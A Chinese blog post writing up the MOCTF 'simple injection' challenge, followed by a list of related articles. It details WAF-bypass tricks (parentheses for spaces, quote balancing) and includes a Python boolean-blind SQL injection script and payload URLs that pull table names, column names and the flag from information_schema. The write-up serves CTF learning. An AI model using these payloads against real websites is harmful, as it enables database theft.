最近在练习sql注入写脚本,记录一下思路,刚学的and 1=1也拿出来溜溜

http://119.23.73.3:5004/?id=1

首先,没有被过滤是正常显示。
没有被过滤但是查询不到就是空白,比如?id=99999
waf过滤关键词,提示whatfuck

我首先判断的是有没有用trim()函数,要知道trim函数和过滤是不一样的。

区别很简单,举个例子。trim默认移除字符串左右两边的空格

 http://119.23.73.3:5004/?id=1(此处1后边有空格)
 如果使用了trim()函数,也过滤掉了空格。
 那么这个不会出waf的,而是会正常显示id=1的内容。
 会让你以为空格并没有过滤,是因为trim函数把空格去掉后才用waf函数进行的判断。  

测试的方法很简单?id=1 1,让空格在里面就好了。

发现过滤了空格,寻找能够代替空格的字符。

%20 %09 %0a %0b %0c %0d %a0 %00 /**/    ()  

发现只有()没有被过滤。

判断是整形注入还是字符型注入,?id=1-0,发现不是id=1的界面,不是整形注入

判断id的保护是什么?首先猜测是引号,输入1'1,(这里为了排除trim函数的影响),发现没有出现waf,但是会出现空白。所以是单引号保护,因为单引号没有被过滤,会匹配原来保护id的两个单引号的前一个,导致了有一了孤零零的单引号没有人和他配对,就会出错,什么也查不出来。

判断截断字符有没有被过滤,发现尝试%23,--+,--%20都会被过滤。

所以考虑and '1这样绕过,匹配最后的那个',不让他孤零零,有任何他匹配就不会出错。

判断其他的过滤字符

union被过滤,无法使用联合查询
> < like regexp被过滤,但是=没有被过滤,between and 也没有被过滤。
or被过滤,information这个一会再说,有点特殊。
mid,ascii没有被过滤,逗号也没有被过滤。

判断逻辑

http://119.23.73.3:5004/?id=1%27and(select(0))and%271
http://119.23.73.3:5004/?id=1%27and(select(1))and%271  

发现可以判断出来注入的逻辑,只要构造语句让select(0)和select(1)里面的1,0值出现就可以判断了。

脚本,py3

import requests

shiliu="0x20"
zuihou="0x7f"
i=1
while True:
    #http://119.23.73.3:5004/?id=1%27and(select(mid((select(database())),1,1))=%27m%27)and%271 #MOCTF
    #url="http://119.23.73.3:5004/?id=1%27and(select(select(group_concat(table_name))from(information_schema.tables)where(table_schema)='moctf')between("+shiliu+")and(0x7f))and%271"  #DO_Y0U_L1KE_LONG_T4BLE_NAME,NEWS
    #url="http://119.23.73.3:5004/?id=1%27and(select(select(group_concat(column_name))from(information_schema.columns)where(table_name)='do_y0u_l1ke_long_t4ble_name')between("+shiliu+")and(0x7f))and%271"  #D0_YOU_ALS0_L1KE_VERY_LONG_COLUMN_NAME
    url="http://119.23.73.3:5004/?id=1%27and(select(ascii(mid((select(d0_you_als0_l1ke_very_long_column_name)from(do_y0u_l1ke_long_t4ble_name)),"+str(i)+",1)))between("+shiliu+")and(0x7f))and%271"  #D0_YOU_ALS0_L1KE_VERY_LONG_COLUMN_NAME
    res=requests.get(url)
    #print(url)

#MOCTF{B1IND_SQL_1NJECTI0N_G0OD}

    if "Hello" not in res.text:
        i+=1
        x=hex(int(shiliu,16)-1)
        if '20' in x:
            break;
        print(x)
        zuihou = shiliu + zuihou.replace("0x","")

        shiliu="0x20"
        #shiliu=x+shiliu.replace("0x","")   #跑前三个的时候这个不能注释掉,跑最后一个得注释掉

    shiliu=str(hex(int(shiliu,16)+1))

数据库我是手动测试的,是moctf,然后剩下的,一开始偷了懒,没用ascii跑,结果flag大小写都提交不上,原因是flag有大写也有小写,数据库是对大小写不敏感的,用ascii就可以了

第一个语句我没用脚本跑,自己用手试出来的。

moctf{b1ind_SQL_1njecti0n_g0od}
兄弟们不会做的就问啊,输出一下url,挨个看看怎么跑的,直接提交flag没啥用  

最后说一下那个or被过滤了,为什么information没有被过滤。

information确实被过滤了,但是information只要加上其他为被过滤的字符,也不会被过滤。

为此还去群里问了下,

出题人:Waf加了智能识别语义,information语境就不过滤,这样听起来会不会更牛逼

MOCTF 简单注入的更多相关文章

  1. [BJDCTF2020]Mark loves cat && [BJDCTF 2nd]简单注入 && [BJDCTF2020]The mystery of ip

    [BJDCTF2020]Mark loves cat 源码泄露 使用GitHack.py下载源码 下载之后对源代码进行审计 flag.php代码为: <?php $flag = file_get ...

  2. [BJDCTF 2nd]简单注入

    [BJDCTF 2nd]简单注入 hint.txt出现了内容. 大概意思和国赛一道题相同. username处注入\来转义单引号,password处使用sql语句整数型注入. 例如: 传入admin\ ...

  3. 在PE文件中简单注入代码,实现在启动前弹窗

    获得的新知识: 1.kernel32.dll,user32.dll,ntdll.dll等一些dll在同一个PC环境下的映射到虚拟内存基址是一样的. 2.在win8以上系统上,更改PE文件的入口点要大于 ...

  4. BBSXP最新漏洞 简单注入检測 万能password

    BBSXP最新漏洞 漏洞日期:2005年7月1日受害版本号:眼下全部BBSXP漏洞利用:查前台password注入语句:blog.asp?id=1%20union%20select%201,1,use ...

  5. CTF—WEB—sql注入之无过滤有回显最简单注入

    sql注入基础原理 一.Sql注入简介 Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手 ...

  6. 刷题[BJDCTF 2nd]简单注入

    解题思路 打开发现登陆框,随机输入一些,发现有waf,然后回显都是同样的字符串.fuzz一波,发现禁了挺多东西的. select union 等 这里猜测是布尔盲注,错误的话显示的是:You konw ...

  7. 我的angularjs源码学习之旅2——依赖注入

    依赖注入起源于实现控制反转的典型框架Spring框架,用来削减计算机程序的耦合问题.简单来说,在定义方法的时候,方法所依赖的对象就被隐性的注入到该方法中,在方法中可以直接使用,而不需要在执行该函数的时 ...

  8. AngularJS的依赖注入方式

    在定义controller,module,service,and directive时有两种方式, 方式一: var myModule = angular.module('myApp', []); m ...

  9. CTF比赛中SQL注入的一些经验总结

    ctf中sql注入下的一些小技巧 最近花了一点时间总结了各大平台中注入的trick,自己还是太菜了,多半都得看题解,就特此做了一个paper方便总结 注释符 以下是Mysql中可以用到的单行注释符: ...

随机推荐

  1. Cocos2d-x v3.1 安装图文教程(二)

       Cocos2d-x v3.1 安装图文教程(二) 如果我们需要在Android平台上运行就必须安装android的SDK,如果我们只想在window上运行就只需要安装Cocos2d-x就行了.当 ...

  2. 使用tooltip显示jquery.validate.unobtrusive验证信息

    通过重写CSS实现使用tooltip显示jquery.validate.unobtrusive验证信息,效果如图: 1. 在ViewModel中定义验证规则 [Display(Name = " ...

  3. cms-最近更新

    在这一讲中有几个很重要的地方需要注意: 1.在查询帖子的时候需要把帖子类型id带到帖子类型表中把类型查询出来 2.在字帖子查询语句中用limt限制查询那个阶段的帖子 3.在界面显示的时候需要用到字符串 ...

  4. CSS样式表优化

    前几天公司要模仿一家客户的网站模板来为另一客户新建一个模板,说白了就是换个数据源,然后样式表再小修小改一下就行了.但通过浏览器控制台下载素材时,发现这个网站开发的挺专业的,单就样式表而言,代码工整,注 ...

  5. POJ 2385 Apple Catching(01背包)

    01背包的基础上增加一个维度表示当前在的树的哪一边. #include<cstdio> #include<iostream> #include<string> #i ...

  6. 【转】iOS开发之压缩与解压文件

    ziparchive是基于开源代码”MiniZip”的zip压缩与解压的Objective-C 的Class,使用起来非常的简单方法:从http://code.google.com/p/ziparch ...

  7. Java代码工具箱之解析单行单列简单Excel

    1. 使用开源工具 jxl.jar 2. 功能:解析常规Excel.xls格式测试可行,xlsx未测试.Excel测试格式为常规类似table这种简单布局文件.第一行为标题,后面行为内容.代码 可正确 ...

  8. Java设计模式学习——简单工厂

    一. 定义与类型 定义:有工程对象决定创建出哪一种产品类的实例 类型:创建型,但不属于GOF23中设计模式 二. 适用场景 工厂类负责创建的对象比较少 客户端(应用层)只知道传入工厂类的参数,对于如何 ...

  9. 防止内存泄露 Linux下用Valgrind做检查

    用C/C++开发其中最令人头疼的一个问题就是内存管理,有时候为了查找一个内存泄漏或者一个内存访问越界,需要要花上好几天时间,如果有一款工具能够帮助我们做这件事情就好了,valgrind正好就是这样的一 ...

  10. 51nod——2476 小b和序列(预处理 思维)

    对于每一个元素,预处理出它作为最小值,两边可以作用到的最大位置.比如下标∈[0,8]的这个数组:1 8 6 2 5 4 3 8 7,1可以作用到所有区间,2可以作用到区间[1,8],第一个8可以作用到 ...